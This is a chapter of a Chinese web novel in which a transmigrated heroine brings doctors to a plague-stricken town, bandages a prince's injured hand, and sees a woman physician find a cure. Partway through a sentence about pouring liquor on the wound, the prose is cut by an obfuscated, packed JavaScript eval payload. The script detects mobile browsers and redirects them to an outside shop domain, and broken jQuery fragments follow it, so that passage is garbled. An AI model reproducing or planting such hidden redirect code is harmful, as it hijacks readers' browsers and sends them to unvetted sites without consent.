一张银票拍在医馆的柜台,连茹习开口,“这是定金。”
医者拿起银票左看右看,“姑娘,这活我接了,什么时候出发?”
斜阳落西山,窗外的天色朦胧,连茹习指尖轻点,“明日卯时,我会派人来接先生。”
医者:“姑娘放心,卯时我定会在此恭候。”
东渠的医馆开的并不密集,一户又一户问下,只有三人愿意跟她去南汕。
晚间的夜色明亮,连茹习坐在房间里抬头望月,说实话,她并不知道自己在做什么。
萧炳明得天眷顾,他用不了多久就会找到解决疫病的方法,相比之下,她的拜访聘请显得多余。
东渠没有被水淹没,剧情发生了变化,但正如以前一样,总体的走势不会改变,疫病会如书中所写消失。
她可以不用这么担心的,她安心等待剧情的进度走完就行,甚至她都可以不出现。
连茹习摇了摇头,她怎么会有这种想法?南汕的一切都太过顺畅,可若没有危难,她该如何让萧炳明更相信她呢?
她要制造一些危难吗?
月色明亮,窗影西落,一夜无梦。
第二日清早
连茹习特地为四位郎中雇了马车,顺着昨天的路径,一位一位将几人接上车。
马车不比骑马,行驶时间多了快半个时辰,到南汕时,连茹习便四处打听疫病如何了。
昨日的几人病情更加严重,短暂的减轻并不能根治,患病的人依旧痛苦。
连茹习回头看向四位郎中,他们已掩面搭上病人的脉搏,无一例外,搭上脉搏后的他们眉头紧锁。
萧炳明从府衙赶来,昨日他和孔县令整顿了许久,收了城中大部分家禽的尸体,并按照她的方法分区隔离。
医师将结果呈递,萧炳明下令禁止所有人饮用污水,入口的水必须经过煮沸,若发现不明呕吐物立即用草木灰掩盖。
为了避免百姓因看病费用高昂而隐瞒,孔县令发布通告,南汕的百姓可以通过检举来揭露不说的百姓。
同时说明患病的百姓也不用忧虑,他们已经开始募捐,医馆不会收取任何费用。
消息一经传播,不到半天,破旧的医馆外挤满了人,医馆里的郎中忙的脚不沾地,当归,陈皮,茯苓,他们尝试了很多药材,得到的结果只有缓解,没有根治。
早一日患病的人瘦骨嶙峋,晚一日患病的人呕吐不止,介于二者之间的昏迷不醒。
患病的人越来越多,所有医者都束手无策,而第二日夜晚,第一批患病的人死了。
死亡引起了所有人的恐慌,他们哀求流泪,他们祈求救治。
简陋的木板横在众人中间,自从医者明确疫病会传染后,他们加紧了防护措施。
但没用,疫病的传播速度太快了,短短两天感染了快百人,已死亡人数高达九人,这是一个感染必死的病。
医者站在孔县令身侧汇报,孔县令愁思,感染快,死亡率高,救治时间短。
第一个人死亡时他提笔写下奏折,上京的御医再快也要十五日,十五日,他不敢想象要死多少人。
同样愁思的还有萧炳明,一条条人命又一次在他眼前消逝,他却无能为力。
五指紧抓门框,碎裂的木屑滑落,萧铖明在一旁挥舞折扇,他其实并不明白三皇兄为何会对这些人的性命如此关心。
父皇只让他们来解决暴雨,如今暴雨停歇,他们应该离开,而不是在这耗着。
他们又不会医术,留在这不仅帮不上什么忙,还会感染,他实在想不通为什么要留在这。
“三皇兄,你就是把手抠烂了也改变不了百姓死亡的事实。”
萧炳明回神,指甲缝隙中残存着碎屑,他想,如果能在上京多带几个御医就好了,如果他们早些防备就好了。
但他明白,他不是萧煜明,萧煜明北上带了三名御医,而他和六弟两人才有一名。
萧煜明北上父皇会给他讲许多用兵之道,会给他讲许多制衡之法,哦不对,萧煜明不需要制衡,他是太子,是嫡长子,是唯一的正统。
如果萧煜明来的是南汕,会不会就不会有这么多患病的人?如果萧煜明在南汕,他会不会就有更好的方法?
萧炳明想,他为什么不是萧煜明呢?
从出生到现在,他从没觉得不公平,但此刻他只觉无力。
萧铖明的话他听到了,他该怎么回答?难道要他回答他为百姓忧思至此?那太虚伪,萧铖明不会相信。
“三殿下,六殿下,孔县令让我告诉你们,疫病有了进展,已经有好多人停止吐泻,唉,三殿下,你的手怎么了?”
是连茹习,一个有些关心他的人。
“连小姐,我没事。”
连茹习上前,“殿下还是找郎中包扎一下吧,都流血了。”
萧铖明在一旁轻笑,“是啊,三皇兄,再不去可就愈合了。”
连茹习二话不说拉着萧炳明离开,古代没有破伤风的药啊!萧炳明要是没了,她这么多天的努力全白费了。
萧炳明跟在她身后,连茹习的发丝随风而动,不是他的错觉,她很关心他。
见萧炳明步子放缓,连茹习回眸问他怎么了,他的目光落在连茹习的手上。
连茹习松开手后尴尬笑笑,“殿下你在这等候,臣女去医馆看看有没有不忙的郎中。”
萧炳明抬起手看了看,“不用那么麻烦,连小姐能帮我一个忙吗?能帮我包扎一下吗?”
“医馆的病患太多,我这点小伤就不麻烦他们了,连小姐能帮我包扎一下吗?我的手受伤有些不方便。”
萧炳明说的话有理,待二人坐下时,他的下属已经递来了裹帘,连茹习询问,有白酒吗?下属接到萧炳明指示后拿了一壶白酒。
“不知连小姐要白酒做什么?”萧炳明问。
她总不能说是为了消毒吧?
“我娘说,白酒放上可以好的更快,虽然这是个偏方,但臣女用过很多次,殿下不用担心。”
萧炳明伸出手,“我相信你。”
白酒洒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705124|206617||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
落在萧炳明的手指上,短暂的刺痛后连茹习拿起裹帘一层又一层的包扎。
“殿下好了,你看看怎么样。”连茹习问。
萧炳明点头,包的很细致,“连小姐刚刚说疫病有了进展?”
连茹习点头,“臣女刚从医馆回来,有位女郎中用藿香紫苏陈皮等药材缓解了许多百姓的症状,照这样下去,疫病估计很快就能解决。”
萧炳明:“女郎中?”
“嗯,殿下可不要小瞧女子。”
“女子行医本就难得,如今又解决了疫病,嘉奖还来不及呢,怎会小瞧?”
“嗯,这叫巾帼不让须眉。”
冬日的阳光散在二人身旁,微风掠过,一切都显得静谧美好。
女郎中是连茹习在街边无意发现的,当时的她在卖身葬父,连茹习不忍,将她买下送她自由。
女郎中问她因何事愁眉苦脸,她随口提了两句,女郎中说,如果不介意她是女子的话,她愿意尝试。
连茹习试探性的问她行医几年,知道这是会传染的吗?女郎中点头,她知道,她愿意尝试。
连茹习将她带到医馆,这个时代的很多男子瞧不起女子,听到是位女子给他们看病后嚷嚷着换人。
女郎中没理,她径直走近离她最近的患者,摸脉针灸配药,她的手法及其大胆,吸引了许多医者。
面对质疑时,她只有一句话,“喝了这碗药,你可能会活,但你不喝,一定会死。”
前两日死的人尸骨未寒,众人抱着早死晚死的心态喝了药。
不同的人不同的反应,她根据这些反应调整每味药材的用量,有毒的没毒的药材全部放入。
几位医者赞叹,他们行医数十年,竟还不如一个女娃娃,属实羞愧。
见女郎中如此,医者也纷纷开始试药改药,他们更加博学,知道的更多,他们唯一缺乏的就是胆量。
而孤身一人,了无牵挂的女郎中最不缺的就是胆量。
医者仁心,不同的人聚在一起商量,再根据不同的方法改善,失败于他们而言不在是失败,他们从失败中汲取经验,重新来过。
夜以继日的试药改善,第一个人慢慢恢复时,他们不约而同的露出笑容,这是一个开端。
孔县令募捐得到的钱财全部用来购置药材,募捐期间,连茹习捐了一千两,魏孝矣大手一挥,捐了三千两。
安置好病患,确定不会再有其他困难后,连茹习前往府衙与萧炳明等人告别,她在南汕停留了许久,父亲唤她归家。
前几日还想着给萧炳明制造困难的她暂时收手,她想,这次的信任怎么也得更近一步吧?
女郎中知晓她走后特地追到东渠,连茹习对她的到来感到疑惑,女郎中跪在她面前,说要报恩。
连茹习将她扶起,她说,“我救你只是顺手,你有如此卓绝的医术以后都不会再走投无路,你不用报答我,希望你可以承接这份善意,去帮助更多的人。”
“木槐知晓了,不知恩人能否告诉民女你的名字。”